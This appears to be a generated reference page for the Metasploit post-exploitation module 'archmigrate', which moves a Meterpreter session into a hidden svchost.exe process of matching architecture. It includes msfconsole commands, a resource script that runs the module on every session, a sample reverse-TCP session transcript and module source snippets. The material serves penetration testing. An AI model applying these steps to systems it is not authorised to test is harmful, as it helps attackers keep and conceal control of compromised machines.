Architecture Migrate - Metasploit


This page contains detailed information about how to use the post/windows/manage/archmigrate metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Architecture Migrate
Module: post/windows/manage/archmigrate
Source code: modules/post/windows/manage/archmigrate.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a new process with the correct architecture and migrates into that process.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/archmigrate

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/archmigrate
msf post(archmigrate) > show options
    ... show and set options ...
msf post(archmigrate) > set SESSION session-id
msf post(archmigrate) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/archmigrate")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Creating A Testing Environment


To use this module you need an x86 executable type meterpreter on a x64 windows machine.

This module has been tested against:

  1. Windows 10.
  2. Windows 7.
  3. Windows Server 2008R2

This module was not tested against, but may work against:

  1. Other versions of Windows that are x64.

Options


EXE

The executable to start and migrate into. Default: C:\windows\sysnative\svchost.exe

FALLBACK

If the selected migration executable does not exist, fallback to a sysnative file. Default: true

IGNORE_SYSTEM

Migrate even if you have SYSTEM privileges. Default: true

Verification Steps

  1. Start msfconsole
  2. Obtain a meterpreter session with an executable meterpreter via whatever method
  3. Do: use post/windows/manage/archmigrate
  4. Do: set session #
  5. Do: run

Scenarios


Windows 10 x64

    msf exploit(handler) > run

    [*] Started reverse TCP handler on :4567
    [*] Starting the payload handler...
    [*] Sending stage (957487 bytes) to 
    [*] Meterpreter session 1 opened (:4567 -> :50917) at 2017-03-22 11:43:42 -0500

    meterpreter > sysinfo
    Computer        : DESKTOP-SO4MCA3
    OS              : Windows 10 (Build 14393).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x86/windows
    meterpreter > background
    [*] Backgrounding session 1...
    msf exploit(handler) > use post/windows/manage/archmigrate
    msf post(archmigrate) > set session 1
    session => 1
    msf post(archmigrate) > run

    [*] The meterpreter is not the same architecture as the OS! Upgrading!
    [*] Starting new x64 process C:\windows\sysnative\svchost.exe
    [+] Got pid 1772
    [*] Migrating..
    [+] Success!
    [*] Post module execution completed
    msf post(archmigrate) > sessions -l

    Active sessions
    ===============

      Id  Type                     Information                               Connection
      --  ----                     -----------                               ----------
      1   meterpreter x64/windows  DESKTOP-SO4MCA3\tmoose @ DESKTOP-SO4MCA3  :4567 -> :50917 ()

    msf post(archmigrate) > sessions -i 1
    [*] Starting interaction with 1...

    meterpreter > sysinfo
    Computer        : DESKTOP-SO4MCA3
    OS              : Windows 10 (Build 14393).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x64/windows

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/archmigrate post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/archmigrate

msf6 post(windows/manage/archmigrate) > show info

       Name: Architecture Migrate
     Module: post/windows/manage/archmigrate
   Platform: Windows
       Arch: x86, x64
       Rank: Normal

Provided by:
  Koen Riepe (koen.riepe <Koen Riepe ([email protected])>

Compatible session types:
  Meterpreter

Basic options:
  Name           Current Setting                   Required  Description
  ----           ---------------                   --------  -----------
  EXE            C:\windows\sysnative\svchost.exe  yes       The executable to start and migrate into
  FALLBACK       true                              yes       If the selected migration executable does not exist fallback to a sysnative file
  IGNORE_SYSTEM  false                             yes       Migrate even if you have SYSTEM privileges
  SESSION                                          yes       The session to run this module on.

Description:
  This module checks if the meterpreter architecture is the same as 
  the OS architecture and if it's incompatible it spawns a new process 
  with the correct architecture and migrates into that process.

Module Options


This is a complete list of options available in the windows/manage/archmigrate post exploitation module:

msf6 post(windows/manage/archmigrate) > show options

Module options (post/windows/manage/archmigrate):

   Name           Current Setting                   Required  Description
   ----           ---------------                   --------  -----------
   EXE            C:\windows\sysnative\svchost.exe  yes       The executable to start and migrate into
   FALLBACK       true                              yes       If the selected migration executable does not exist fallback to a sysnative file
   IGNORE_SYSTEM  false                             yes       Migrate even if you have SYSTEM privileges
   SESSION                                          yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/archmigrate post exploitation module:

msf6 post(windows/manage/archmigrate) > show advanced

Module advanced options (post/windows/manage/archmigrate):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/archmigrate module can do:

msf6 post(windows/manage/archmigrate) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/archmigrate post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/archmigrate) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Railgun not available, this module only works for binary meterpreters.


Here is a relevant code snippet related to the "Railgun not available, this module only works for binary meterpreters." error message:

46:	      else
47:	        migrate = true
48:	      end
49:	      return migrate
50:	    rescue
51:	      print_error('Railgun not available, this module only works for binary meterpreters.')
52:	    end
53:	  end
54:	
55:	  def get_windows_loc
56:	    apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"]

The meterpreter is not the same architecture as the OS! Upgrading!


Here is a relevant code snippet related to the "The meterpreter is not the same architecture as the OS! Upgrading!" error message:

58:	    return windir
59:	  end
60:	
61:	  def do_migrate
62:	    if check_32_on_64
63:	      print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
64:	      newproc = datastore['EXE']
65:	      if exist?(newproc)
66:	        print_status("Starting new x64 process #{newproc}")
67:	        pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
68:	        print_good("Got pid #{pid}")

Migration failed!


Here is a relevant code snippet related to the "Migration failed!" error message:

69:	        print_status('Migrating..')
70:	        session.core.migrate(pid)
71:	        if pid == session.sys.process.getpid
72:	          print_good('Success!')
73:	        else
74:	          print_error('Migration failed!')
75:	        end
76:	      else
77:	        print_error('The selected executable to migrate into does not exist')
78:	        if datastore['FALLBACK']
79:	          windir = get_windows_loc

The selected executable to migrate into does not exist


Here is a relevant code snippet related to the "The selected executable to migrate into does not exist" error message:

72:	          print_good('Success!')
73:	        else
74:	          print_error('Migration failed!')
75:	        end
76:	      else
77:	        print_error('The selected executable to migrate into does not exist')
78:	        if datastore['FALLBACK']
79:	          windir = get_windows_loc
80:	          newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
81:	          if exist?(newproc)
82:	            print_status("Starting new x64 process #{newproc}")

Migration failed!


Here is a relevant code snippet related to the "Migration failed!" error message:

85:	            print_status('Migrating..')
86:	            session.core.migrate(pid)
87:	            if pid == session.sys.process.getpid
88:	              print_good('Success!')
89:	            else
90:	              print_error('Migration failed!')
91:	            end
92:	          end
93:	        end
94:	      end
95:	    else

You are running as SYSTEM! Aborting migration.


Here is a relevant code snippet related to the "You are running as SYSTEM! Aborting migration." error message:

99:	
100:	  def run
101:	    if datastore['IGNORE_SYSTEM']
102:	      do_migrate
103:	    elsif !datastore['IGNORE_SYSTEM'] && is_system?
104:	      print_error('You are running as SYSTEM! Aborting migration.')
105:	    elsif datastore['IGNORE_SYSTEM'] && is_system?
106:	      print_error('You are running as SYSTEM! You will lose your privileges!')
107:	      do_migrate
108:	    elsif !datastore['IGNORE_SYSTEM'] && !is_system?
109:	      print_status('You\'re not running as SYSTEM. Moving on...')

You are running as SYSTEM! You will lose your privileges!


Here is a relevant code snippet related to the "You are running as SYSTEM! You will lose your privileges!" error message:

101:	    if datastore['IGNORE_SYSTEM']
102:	      do_migrate
103:	    elsif !datastore['IGNORE_SYSTEM'] && is_system?
104:	      print_error('You are running as SYSTEM! Aborting migration.')
105:	    elsif datastore['IGNORE_SYSTEM'] && is_system?
106:	      print_error('You are running as SYSTEM! You will lose your privileges!')
107:	      do_migrate
108:	    elsif !datastore['IGNORE_SYSTEM'] && !is_system?
109:	      print_status('You\'re not running as SYSTEM. Moving on...')
110:	      do_migrate
111:	    end

You're not running as SYSTEM. Moving on...


Here is a relevant code snippet related to the "You're not running as SYSTEM. Moving on..." error message:

103:	    elsif !datastore['IGNORE_SYSTEM'] && is_system?
104:	      print_error('You are running as SYSTEM! Aborting migration.')
105:	    elsif datastore['IGNORE_SYSTEM'] && is_system?
106:	      print_error('You are running as SYSTEM! You will lose your privileges!')
107:	      do_migrate
108:	    elsif !datastore['IGNORE_SYSTEM'] && !is_system?
109:	      print_status('You\'re not running as SYSTEM. Moving on...')
110:	      do_migrate
111:	    end
112:	  end
113:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.